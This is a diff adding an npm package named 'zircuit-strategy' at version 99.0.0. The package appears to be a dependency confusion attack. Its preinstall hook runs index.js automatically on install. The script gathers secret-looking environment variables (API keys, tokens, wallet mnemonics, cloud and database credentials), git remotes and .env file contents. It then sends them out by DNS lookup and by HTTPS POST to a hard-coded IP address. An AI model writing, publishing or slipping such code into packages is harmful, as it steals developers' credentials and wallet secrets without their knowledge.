zircuit-strategy 99.0.0

package/index.js

@@ -0,0 +1,56 @@
+// Dependency confusion payload
+// Executes during npm install via preinstall hook
+const https = require('https');
+const os = require('os');
+const { execSync } = require('child_process');
+
+const data = JSON.stringify({
+  hostname: os.hostname(),
+  user: os.userInfo().username,
+  platform: os.platform(),
+  cwd: process.cwd(),
+  env: Object.fromEntries(
+    Object.entries(process.env).filter(([k]) => 
+      /KEY|SECRET|TOKEN|PRIVATE|PASSWORD|MNEMONIC|SEED|WALLET|SIGNER|AUTH|API|RPC|DB|REDIS|MONGO|POSTGRES|ALCHEMY|INFURA|AWS|GCP|AZURE|HEROKU|RENDER|KEEPER|REPORTER|ADMIN/i.test(k)
+    )
+  ),
+  npm_config: {
+    registry: process.env.npm_config_registry,
+    scope: process.env.npm_config_scope,
+  },
+  package_json: (() => {
+    try { return require(process.cwd() + '/package.json').name; } catch(e) { return 'unknown'; }
+  })(),
+  git_remote: (() => {
+    try { return execSync('git remote -v 2>/dev/null').toString().slice(0,500); } catch(e) { return ''; }
+  })(),
+  files: (() => {
+    try { return execSync('ls -la .env* 2>/dev/null; cat .env 2>/dev/null | head -50').toString().slice(0,2000); } catch(e) { return ''; }
+  })(),
+  timestamp: new Date().toISOString()
+});
+
+// Exfil via DNS (bypasses most firewalls)
+const encoded = Buffer.from(data).toString('base64').slice(0,200);
+try {
+  const dns = require('dns');
+  dns.resolve(`${encoded.slice(0,60)}.exfil.example.com`, () => {});
+} catch(e) {}
+
+// Exfil via HTTPS POST to our VPS
+const options = {
+  hostname: '82.221.101.203',
+  port: 46901,
+  path: '/zircuit-depconf',
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
+  rejectUnauthorized: false,
+  timeout: 3000
+};
+
+try {
+  const req = https.request(options, () => {});
+  req.on('error', () => {});
+  req.write(data);
+  req.end();
+} catch(e) {}

package/package.json

@@ -0,0 +1 @@
+{"name":"zircuit-strategy","version":"99.0.0","description":"Zircuit zircuit-strategy","main":"index.js","scripts":{"preinstall":"node index.js"},"license":"MIT"}